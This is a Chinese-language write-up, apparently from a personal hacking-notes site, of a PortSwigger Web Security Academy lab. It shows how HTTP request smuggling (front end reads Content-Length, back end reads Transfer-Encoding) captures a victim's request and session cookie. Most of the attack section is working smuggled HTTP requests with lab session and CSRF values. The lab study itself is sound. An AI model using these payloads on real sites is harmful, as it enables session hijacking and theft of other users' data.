> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capturing-other-users-requests.md).
# 截获其他用户的请求
截获其他用户的请求笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 利用 HTTP 请求走私捕获其他用户的请求
实验室正在搭建一个前端服务器和一个后端服务器。前端 **不支持分块编码**. / 目标是 **走私者** 将一个请求发送到后端，以便 **下一个用户请求** 是 **由应用程序存储**. / 然后， **恢复此请求** 并使用 **受害者的 Cookie** 来访问他的账户。
实验室模拟了一名受害用户：每发送几个 POST 请求，受害者就会执行自己的请求。/ 有时需要多次重复攻击。
> 虽然实验室允许 HTTP/2，但解决方案必须使用 **HTTP/1** ，因为某些技术只能在此协议中实现。" "前端会解析 **Content-Length**，而后端将 **Transfer-Encoding: chunked**，从而造成一个可利用的偏移。" "Burp 扩展 HTTP Request Smuggler 可以帮助手动修正长度。
#### 1. **前端解析的请求**
前端读取 `Content-Length: 13`，然后还会看到 `Transfer-Encoding: chunked`:
```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
postId=6
```
在分块结束后（`0`），会额外添加一个后端请求。
#### 2. **注入一个用于发布评论的 POST 请求**
你构造了一个走私请求，其中包含第二个完整请求：
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked
0
postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
结果：/ 走私请求被当作来自你自己的会话处理，应用程序发布了该评论。
#### 3. **强制受害者发布评论**
你将请求体修改为：
{% code overflow="wrap" %}
```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
{% endcode %}
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
并发送类似的请求。/ 在重新加载时，应用程序显示 **感谢你的评论**，表明受害者发布了这条评论。
#### 4. **准备捕获受害者的请求**
为了捕获受害者用户的整个请求，你大幅增加 `Content-Length` ，以便后端将后续请求作为内容处理：
```http
Content-Length: 1000
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```
随后受害者发送的下一个请求就会被吸收到预期的请求体中……/ 并变为 **可在应用程序的存储中查看**.
---
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